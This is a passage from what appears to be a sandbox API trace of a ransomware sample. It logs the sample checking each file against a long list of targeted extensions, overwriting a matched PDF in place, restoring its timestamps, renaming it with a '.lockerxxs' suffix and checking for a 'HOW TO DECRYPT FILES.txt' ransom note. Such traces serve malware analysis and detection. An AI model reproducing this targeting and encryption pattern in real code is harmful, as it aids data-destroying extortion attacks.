[0068.849] lstrlenA (lpString="*.eml") returned 5 [0068.849] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.pst") returned 0 [0068.849] lstrlenA (lpString="*.pst") returned 5 [0068.849] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.ost") returned 0 [0068.849] lstrlenA (lpString="*.ost") returned 5 [0068.849] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.idx") returned 0 [0068.849] lstrlenA (lpString="*.idx") returned 5 [0068.849] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.dbx") returned 0 [0068.849] lstrlenA (lpString="*.dbx") returned 5 [0068.850] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.sql") returned 0 [0068.850] lstrlenA (lpString="*.sql") returned 5 [0068.850] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.mdb") returned 0 [0068.850] lstrlenA (lpString="*.mdb") returned 5 [0068.850] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.fdb") returned 0 [0068.850] lstrlenA (lpString="*.fdb") returned 5 [0068.850] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.wab") returned 0 [0068.850] lstrlenA (lpString="*.wab") returned 5 [0068.850] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.dat") returned 0 [0068.850] lstrlenA (lpString="*.dat") returned 5 [0068.850] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.txt") returned 0 [0068.850] lstrlenA (lpString="*.txt") returned 5 [0068.850] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.jpeg") returned 0 [0068.850] lstrlenA (lpString="*.jpeg") returned 6 [0068.850] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.jpg") returned 0 [0068.850] lstrlenA (lpString="*.jpg") returned 5 [0068.850] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.png") returned 0 [0068.850] lstrlenA (lpString="*.png") returned 5 [0068.851] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.php") returned 0 [0068.851] lstrlenA (lpString="*.php") returned 5 [0068.851] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.cs") returned 0 [0068.851] lstrlenA (lpString="*.cs") returned 4 [0068.851] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.cpp") returned 0 [0068.851] lstrlenA (lpString="*.cpp") returned 5 [0068.851] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.rar") returned 0 [0068.851] lstrlenA (lpString="*.rar") returned 5 [0068.851] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.zip") returned 0 [0068.851] lstrlenA (lpString="*.zip") returned 5 [0068.851] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.html") returned 0 [0068.851] lstrlenA (lpString="*.html") returned 6 [0068.851] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.htm") returned 0 [0068.851] lstrlenA (lpString="*.htm") returned 5 [0068.851] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.xlsx") returned 0 [0068.851] lstrlenA (lpString="*.xlsx") returned 6 [0068.851] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.xls") returned 0 [0068.851] lstrlenA (lpString="*.xls") returned 5 [0068.852] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.mp4") returned 0 [0068.852] lstrlenA (lpString="*.mp4") returned 5 [0068.852] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.ppt") returned 0 [0068.852] lstrlenA (lpString="*.ppt") returned 5 [0068.852] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.pptx") returned 0 [0068.852] lstrlenA (lpString="*.pptx") returned 6 [0068.852] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.doc") returned 0 [0068.852] lstrlenA (lpString="*.doc") returned 5 [0068.852] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.dot") returned 0 [0068.852] lstrlenA (lpString="*.dot") returned 5 [0068.852] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.docx") returned 0 [0068.852] lstrlenA (lpString="*.docx") returned 6 [0068.852] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.7z") returned 0 [0068.853] lstrlenA (lpString="*.7z") returned 4 [0068.853] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.tar") returned 0 [0068.853] lstrlenA (lpString="*.tar") returned 5 [0068.853] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.bz2") returned 0 [0068.853] lstrlenA (lpString="*.bz2") returned 5 [0068.853] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.gz") returned 0 [0068.853] lstrlenA (lpString="*.gz") returned 4 [0068.853] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.mkv") returned 0 [0068.853] lstrlenA (lpString="*.mkv") returned 5 [0068.853] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.853] lstrlenA (lpString="*.eml") returned 5 [0068.853] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.msg") returned 0 [0068.853] lstrlenA (lpString="*.msg") returned 5 [0068.853] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.edb") returned 0 [0068.853] lstrlenA (lpString="*.edb") returned 5 [0068.853] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.accdb") returned 0 [0068.853] lstrlenA (lpString="*.accdb") returned 7 [0068.853] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.odb") returned 0 [0068.853] lstrlenA (lpString="*.odb") returned 5 [0068.854] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.java") returned 0 [0068.854] lstrlenA (lpString="*.java") returned 6 [0068.854] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.asm") returned 0 [0068.854] lstrlenA (lpString="*.asm") returned 5 [0068.854] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.pfx") returned 0 [0068.854] lstrlenA (lpString="*.pfx") returned 5 [0068.854] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.pem") returned 0 [0068.854] lstrlenA (lpString="*.pem") returned 5 [0068.854] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.p12") returned 0 [0068.854] lstrlenA (lpString="*.p12") returned 5 [0068.854] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.gpg") returned 0 [0068.854] lstrlenA (lpString="*.gpg") returned 5 [0068.854] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.vsd") returned 0 [0068.854] lstrlenA (lpString="*.vsd") returned 5 [0068.854] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.odg") returned 0 [0068.854] lstrlenA (lpString="*.odg") returned 5 [0068.854] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.raw") returned 0 [0068.854] lstrlenA (lpString="*.raw") returned 5 [0068.854] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.nef") returned 0 [0068.854] lstrlenA (lpString="*.nef") returned 5 [0068.855] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.svg") returned 0 [0068.855] lstrlenA (lpString="*.svg") returned 5 [0068.855] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.psd") returned 0 [0068.855] lstrlenA (lpString="*.psd") returned 5 [0068.855] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.vmx") returned 0 [0068.858] lstrlenA (lpString="*.vmx") returned 5 [0068.858] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.vmdk") returned 0 [0068.858] lstrlenA (lpString="*.vmdk") returned 6 [0068.858] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.vdi") returned 0 [0068.858] lstrlenA (lpString="*.vdi") returned 5 [0068.858] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.lay6") returned 0 [0068.858] lstrlenA (lpString="*.lay6") returned 6 [0068.858] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.mpeg") returned 0 [0068.858] lstrlenA (lpString="*.mpeg") returned 6 [0068.858] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.djvu") returned 0 [0068.858] lstrlenA (lpString="*.djvu") returned 6 [0068.858] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.tiff") returned 0 [0068.858] lstrlenA (lpString="*.tiff") returned 6 [0068.858] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.backup") returned 0 [0068.858] lstrlenA (lpString="*.backup") returned 8 [0068.859] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.pdf") returned 1 [0068.859] lstrlenA (lpString="*.pdf") returned 5 [0068.859] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf" [0068.859] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf" [0068.859] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf." [0068.859] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf.lockerxxs" [0068.859] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.860] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5891 [0068.860] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a2abc0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0068.860] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.860] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x586b, lpOverlapped=0x0) returned 1 [0068.862] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf") returned="AdobeID.pdf" [0068.862] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.863] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x586b, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x586b, lpOverlapped=0x0) returned 1 [0068.863] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.863] CloseHandle (hObject=0x94) returned 1 [0068.864] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf.lockerxxs")) returned 1 [0068.868] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5be8, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0068.868] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.868] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefaultID.pdf") returned 1 [0068.868] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefaultID.pdf") returned 1 [0068.868] lstrcmpiA (lpString1="", lpString2="DefaultID.pdf") returned -1 [0068.868] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf") returned="AdobeID.pdf" [0068.868] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\" [0068.868] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\") returned="" [0068.868] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\HOW TO DECRYPT FILES.txt" [0068.868] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\how to decrypt files.txt")) returned 0x20 [0068.868] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\", lpString2="DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf" [0068.868] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.ems") returned 0 [0068.869] lstrlenA (lpString="*.ems") returned 5 [0068.869] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.db") returned 0 [0068.869] lstrlenA (lpString="*.db") returned 4 [0068.869] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.dbf") returned 0 [0068.869] lstrlenA (lpString="*.dbf") returned 5 [0068.869] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.myox") returned 0 [0068.869] lstrlenA (lpString="*.myox") returned 6 [0068.869] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.myo") returned 0 [0068.869] lstrlenA (lpString="*.myo") returned 5 [0068.869] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.qbw") returned 0 [0068.869] lstrlenA (lpString="*.qbw") returned 5 [0068.869] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.qbb") returned 0 [0068.869] lstrlenA (lpString="*.qbb") returned 5 [0068.869] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.qbm") returned 0 [0068.869] lstrlenA (lpString="*.qbm") returned 5 [0068.869] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.qbo") returned 0 [0068.869] lstrlenA (lpString="*.qbo") returned 5 [0068.869] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.qbx") returned 0 [0068.869] lstrlenA (lpString="*.qbx") returned 5 [0068.869] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.qba") returned 0 [0068.870] lstrlenA (lpString="*.qba") returned 5 [0068.870] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.qby") returned 0 [0068.870] lstrlenA (lpString="*.qby") returned 5 [0068.870] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.qbj") returned 0 [0068.870] lstrlenA (lpString="*.qbj") returned 5 [0068.870] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.ofx") returned 0 [0068.870] lstrlenA (lpString="*.ofx") returned 5 [0068.870] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.qif") returned 0 [0068.870] lstrlenA (lpString="*.qif") returned 5 [0068.870] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.mye") returned 0 [0068.870] lstrlenA (lpString="*.mye") returned 5 [0068.870] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.mbox") returned 0 [0068.870] lstrlenA (lpString="*.mbox") returned 6 [0068.870] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.870] lstrlenA (lpString="*.eml") returned 5 [0068.870] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.pst") returned 0 [0068.870] lstrlenA (lpString="*.pst") returned 5 [0068.870] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.ost") returned 0 [0068.870] lstrlenA (lpString="*.ost") returned 5 [0068.870] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.idx") returned 0 [0068.871] lstrlenA (lpString="*.idx") returned 5 [0068.871] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.dbx") returned 0 [0068.871] lstrlenA (lpString="*.dbx") returned 5 [0068.871] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.sql") returned 0 [0068.871] lstrlenA (lpString="*.sql") returned 5 [0068.871] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.mdb") returned 0 [0068.871] lstrlenA (lpString="*.mdb") returned 5 [0068.871] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.fdb") returned 0 [0068.871] lstrlenA (lpString="*.fdb") returned 5 [0068.871] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.wab") returned 0 [0068.871] lstrlenA (lpString="*.wab") returned 5 [0068.871] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.dat") returned 0 [0068.871] lstrlenA (lpString="*.dat") returned 5 [0068.871] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.txt") returned 0 [0068.872] lstrlenA (lpString="*.txt") returned 5 [0068.872] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.jpeg") returned 0 [0068.872] lstrlenA (lpString="*.jpeg") returned 6 [0068.872] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.jpg") returned 0 [0068.872] lstrlenA (lpString="*.jpg") returned 5 [0068.872] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.png") returned 0 [0068.872] lstrlenA (lpString="*.png") returned 5 [0068.872] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 